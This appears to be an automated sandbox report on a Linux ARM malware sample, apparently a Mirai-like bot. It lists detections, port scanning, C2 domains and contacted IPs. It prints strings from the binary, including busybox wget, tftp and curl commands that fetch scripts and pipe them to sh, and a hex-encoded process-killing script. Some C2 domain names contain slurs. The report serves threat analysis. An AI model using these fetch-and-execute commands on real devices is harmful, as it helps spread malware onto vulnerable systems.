Linux Analysis Report
jklarm.elf

Overview

General Information

Sample name: jklarm.elf
Analysis ID: 1543100
MD5: 6c856517fb04bdf104d0d5f50288f536
SHA1: 8a9a916c2ca4df6fe8be85aa922cb7fbe6cd51e3
SHA256: 95ecbcb13b7e6b33fc02a5b60482ed3d811a845a5c7092c3dd4608d4d3dc09c2
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: jklarm.elf Virustotal: Detection: 58% Perma Link
Source: jklarm.elf ReversingLabs: Detection: 55%
Found strings indicative of a multi-platform dropper
Source: jklarm.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.15:55566 -> 45.156.86.24:38241
Source: global traffic TCP traffic: 192.168.2.15:53380 -> 185.150.24.67:38241
Sample listens on a socket
Source: /tmp/jklarm.elf (PID: 5529) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 51.173.104.147
Source: unknown TCP traffic detected without corresponding DNS query: 124.68.74.97
Source: unknown TCP traffic detected without corresponding DNS query: 51.173.104.147
Source: unknown TCP traffic detected without corresponding DNS query: 63.240.73.227
Source: unknown TCP traffic detected without corresponding DNS query: 124.68.74.97
Source: unknown TCP traffic detected without corresponding DNS query: 63.240.73.227
Source: unknown TCP traffic detected without corresponding DNS query: 149.108.137.203
Source: unknown TCP traffic detected without corresponding DNS query: 149.108.137.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.0.90.180
Source: unknown TCP traffic detected without corresponding DNS query: 204.0.90.180
Source: unknown TCP traffic detected without corresponding DNS query: 68.104.132.105
Source: unknown TCP traffic detected without corresponding DNS query: 131.187.5.127
Source: unknown TCP traffic detected without corresponding DNS query: 68.104.132.105
Source: unknown TCP traffic detected without corresponding DNS query: 200.74.44.29
Source: unknown TCP traffic detected without corresponding DNS query: 131.187.5.127
Source: unknown TCP traffic detected without corresponding DNS query: 187.128.69.61
Source: unknown TCP traffic detected without corresponding DNS query: 200.74.44.29
Source: unknown TCP traffic detected without corresponding DNS query: 138.140.133.174
Source: unknown TCP traffic detected without corresponding DNS query: 187.128.69.61
Source: unknown TCP traffic detected without corresponding DNS query: 171.142.37.36
Source: unknown TCP traffic detected without corresponding DNS query: 138.140.133.174
Source: unknown TCP traffic detected without corresponding DNS query: 3.97.120.155
Source: unknown TCP traffic detected without corresponding DNS query: 171.142.37.36
Source: unknown TCP traffic detected without corresponding DNS query: 220.48.85.5
Source: unknown TCP traffic detected without corresponding DNS query: 3.97.120.155
Source: unknown TCP traffic detected without corresponding DNS query: 220.15.188.113
Source: unknown TCP traffic detected without corresponding DNS query: 12.127.229.220
Source: unknown TCP traffic detected without corresponding DNS query: 220.48.85.5
Source: unknown TCP traffic detected without corresponding DNS query: 30.43.29.80
Source: unknown TCP traffic detected without corresponding DNS query: 220.15.188.113
Source: unknown TCP traffic detected without corresponding DNS query: 12.127.229.220
Source: unknown TCP traffic detected without corresponding DNS query: 30.43.29.80
Source: unknown TCP traffic detected without corresponding DNS query: 5.33.54.208
Source: unknown TCP traffic detected without corresponding DNS query: 99.191.213.174
Source: unknown TCP traffic detected without corresponding DNS query: 5.33.54.208
Source: unknown TCP traffic detected without corresponding DNS query: 12.20.55.211
Source: unknown TCP traffic detected without corresponding DNS query: 99.191.213.174
Source: unknown TCP traffic detected without corresponding DNS query: 83.129.247.70
Source: unknown TCP traffic detected without corresponding DNS query: 12.20.55.211
Source: unknown TCP traffic detected without corresponding DNS query: 155.215.187.170
Source: unknown TCP traffic detected without corresponding DNS query: 3.99.20.155
Source: unknown TCP traffic detected without corresponding DNS query: 83.129.247.70
Source: unknown TCP traffic detected without corresponding DNS query: 69.226.134.116
Source: unknown TCP traffic detected without corresponding DNS query: 155.215.187.170
Source: unknown TCP traffic detected without corresponding DNS query: 3.99.20.155
Source: unknown TCP traffic detected without corresponding DNS query: 157.243.16.83
Source: unknown TCP traffic detected without corresponding DNS query: 135.26.40.127
Source: unknown TCP traffic detected without corresponding DNS query: 69.226.134.116
Source: unknown TCP traffic detected without corresponding DNS query: 28.102.232.181
Source: unknown TCP traffic detected without corresponding DNS query: 157.243.16.83
Source: global traffic DNS traffic detected: DNS query: netfags.geek
Source: global traffic DNS traffic detected: DNS query: burnthe.libre
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: jklarm.elf String found in binary or memory: http:///curl.sh
Source: jklarm.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/100@14/0
Enumerates processes within the "proc" file system
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5560/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5560/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5550/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5550/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5561/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5561/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5551/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5551/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5562/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5562/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5541/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5541/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5552/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5552/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5563/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5563/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5553/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5553/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5564/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5564/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5554/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5554/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5565/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5565/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5618/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5618/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5555/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5555/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5556/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5556/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5557/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5557/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5558/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5558/cmdline Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5559/maps Jump to behavior
Source: /tmp/jklarm.elf (PID: 5537) File opened: /proc/5559/cmdline Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/jklarm.elf (PID: 5529) Queries kernel information via 'uname': Jump to behavior
Source: jklarm.elf, 5529.1.0000563744d33000.0000563744e61000.rw-.sdmp, jklarm.elf, 5533.1.0000563744d33000.0000563744e61000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: jklarm.elf, 5529.1.00007ffd787aa000.00007ffd787cb000.rw-.sdmp, jklarm.elf, 5533.1.00007ffd787aa000.00007ffd787cb000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: jklarm.elf, 5529.1.00007ffd787aa000.00007ffd787cb000.rw-.sdmp, jklarm.elf, 5533.1.00007ffd787aa000.00007ffd787cb000.rw-.sdmp Binary or memory string: yx86_64/usr/bin/qemu-arm/tmp/jklarm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklarm.elf
Source: jklarm.elf, 5529.1.0000563744d33000.0000563744e61000.rw-.sdmp, jklarm.elf, 5533.1.0000563744d33000.0000563744e61000.rw-.sdmp Binary or memory string: D7V!/etc/qemu-binfmt/arm
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
148.158.73.109
 unknown United States
18715 NYPAUS false
3.115.85.234
 unknown United States
16509 AMAZON-02US false
197.55.171.117
 unknown Egypt
8452 TE-ASTE-ASEG false
197.123.148.47
 unknown Egypt
36992 ETISALAT-MISREG false
198.25.108.72
 unknown United States
721 DNIC-ASBLK-00721-00726US false
41.15.19.26
 unknown South Africa
29975 VODACOM-ZA false
3.196.103.197
 unknown United States
16509 AMAZON-02US false
73.164.4.104
 unknown United States
7922 COMCAST-7922US false
116.115.226.140
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
53.84.230.214
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
209.135.109.236
 unknown Canada
6539 GT-BELLCA false
133.244.235.100
 unknown Japan 7687 D-CRUISENETTOYOTADIGITALCRUISEINCORPORATEDJP false
199.146.128.157
 unknown United States
4152 USDA-1US false
107.225.104.78
 unknown United States
7018 ATT-INTERNET4US false
108.218.238.37
 unknown United States
7018 ATT-INTERNET4US false
66.159.68.241
 unknown United States
17054 AS17054US false
80.63.123.115
 unknown Denmark
3292 TDCTDCASDK false
36.215.164.70
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
109.48.92.204
 unknown Portugal
2860 NOS_COMUNICACOESPT false
205.46.121.119
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
30.20.194.204
 unknown United States
7922 COMCAST-7922US false
57.205.24.55
 unknown Belgium
2686 ATGS-MMD-ASUS false
113.253.225.226
 unknown Hong Kong
9304 HUTCHISON-AS-APHGCGlobalCommunicationsLimitedHK false
180.75.240.230
 unknown Malaysia
38322 WEBE-MY-AS-APWEBEDIGITALSDNBHDMY false
54.12.172.195
 unknown United States
14618 AMAZON-AESUS false
119.254.16.252
 unknown China
23844 BJ-GUANGHUAN-APBeijingGuanghuanXinwangDigitalCN false
60.86.166.229
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
1.128.74.217
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
138.49.111.74
 unknown United States
3128 BRUWS-AS3128US false
116.109.73.248
 unknown Viet Nam
24086 VIETTEL-AS-VNViettelCorporationVN false
201.180.141.17
 unknown Argentina
22927 TelefonicadeArgentinaAR false
117.64.136.234
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
39.160.15.31
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
180.140.173.83
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
109.16.10.228
 unknown France
15557 LDCOMNETFR false
96.96.64.251
 unknown United States
7922 COMCAST-7922US false
69.229.4.254
 unknown United States
7018 ATT-INTERNET4US false
59.128.176.228
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
144.200.90.135
 unknown Switzerland
559 SWITCHPeeringrequestspeeringswitchchEU false
167.109.96.14
 unknown United States
6057 AdministracionNacionaldeTelecomunicacionesUY false
2.251.105.59
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
150.5.241.241
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
107.157.204.250
 unknown United States
7065 SONOMAUS false
197.220.118.223
 unknown Kenya
15399 WANANCHI-KE false
165.71.234.213
 unknown United States
29885 UCHHS-ASUS false
208.43.153.205
 unknown United States
36351 SOFTLAYERUS false
64.139.219.23
 unknown United States
13649 ASN-VINSUS false
50.15.84.76
 unknown United States
2686 ATGS-MMD-ASUS false
105.45.153.24
 unknown Egypt
37069 MOBINILEG false
180.96.61.220
 unknown China
137702 CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince false
75.34.64.29
 unknown United States
7018 ATT-INTERNET4US false
162.132.219.165
 unknown United States
2047 ASN-ROCHE-BASLEGlobalcorporateIPnetworkCH false
76.41.160.114
 unknown United States
18494 CENTURYLINK-LEGACY-EMBARQ-WRBGUS false
70.124.110.16
 unknown United States
11427 TWC-11427-TEXASUS false
116.92.246.241
 unknown Hong Kong
9381 HKBNES-AS-APHKBNEnterpriseSolutionsHKLimitedHK false
102.14.61.31
 unknown unknown
37069 MOBINILEG false
214.190.56.13
 unknown United States
721 DNIC-ASBLK-00721-00726US false
208.179.61.225
 unknown United States
11509 TIERZERO-AS11509US false
216.73.225.143
 unknown United States
17306 RISE-BROADBANDUS false
219.68.63.62
 unknown Taiwan; Republic of China (ROC)
9416 MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW false
49.71.100.21
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
201.205.46.57
 unknown Costa Rica
11830 InstitutoCostarricensedeElectricidadyTelecomCR false
55.173.28.6
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
172.150.130.189
 unknown United States
7018 ATT-INTERNET4US false
131.56.104.181
 unknown United States
386 AFCONC-BLOCK1-ASUS false
160.124.107.206
 unknown South Africa
132839 POWERLINE-AS-APPOWERLINEDATACENTERHK false
82.18.222.177
 unknown United Kingdom
5089 NTLGB false
157.89.105.166
 unknown United States
13327 EKUUS false
55.69.111.48
 unknown United States
365 DNIC-ASBLK-00306-00371US false
108.41.160.21
 unknown United States
701 UUNETUS false
183.6.228.171
 unknown China
134763 CT-DONGGUAN-IDCCHINANETGuangdongprovincenetworkCN false
43.105.188.106
 unknown Japan 4249 LILLY-ASUS false
135.13.252.206
 unknown United States
17225 ATT-CERFNET-BLOCKUS false
209.27.127.6
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
26.197.170.109
 unknown United States
7922 COMCAST-7922US false
117.170.65.160
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
138.48.157.158
 unknown Belgium
2611 BELNETBE false
102.90.197.213
 unknown Nigeria
29465 VCG-ASNG false
43.133.61.229
 unknown Japan 4249 LILLY-ASUS false
122.236.110.23
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
6.202.47.233
 unknown United States
3356 LEVEL3US false
122.31.101.199
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
217.106.180.239
 unknown Russian Federation
8342 RTCOMM-ASRU false
1.144.248.3
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
180.192.82.152
 unknown Philippines
45223 WIN-AS-TH-APWorldInternetworkCoLtdThailandTH false
189.248.177.30
 unknown Mexico
8151 UninetSAdeCVMX false
201.112.161.153
 unknown Mexico
8151 UninetSAdeCVMX false
173.127.51.69
 unknown United States
10507 SPCSUS false
30.205.148.3
 unknown United States
7922 COMCAST-7922US false
132.177.69.71
 unknown United States
11745 USNHUS false
85.111.106.234
 unknown Turkey
9121 TTNETTR false
12.200.128.168
 unknown United States
7018 ATT-INTERNET4US false
199.220.15.157
 unknown United States
1778 DNIC-AS-01778US false
90.151.98.95
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
214.131.36.249
 unknown United States
721 DNIC-ASBLK-00721-00726US false
39.96.110.228
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
18.212.5.96
 unknown United States
14618 AMAZON-AESUS false
213.147.115.133
 unknown Croatia (LOCAL Name: Hrvatska)
35549 METRONET-ASZagrebCroatiaHR false
125.116.118.202
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
131.179.176.64
 unknown United States
52 UCLAUS false

Contacted Domains

Name IP Active
netfags.geek 45.156.86.24 true
chinklabs.dyn 185.150.24.67 true
burnthe.libre 45.156.86.24 true
netfags.geek. [malformed] unknown unknown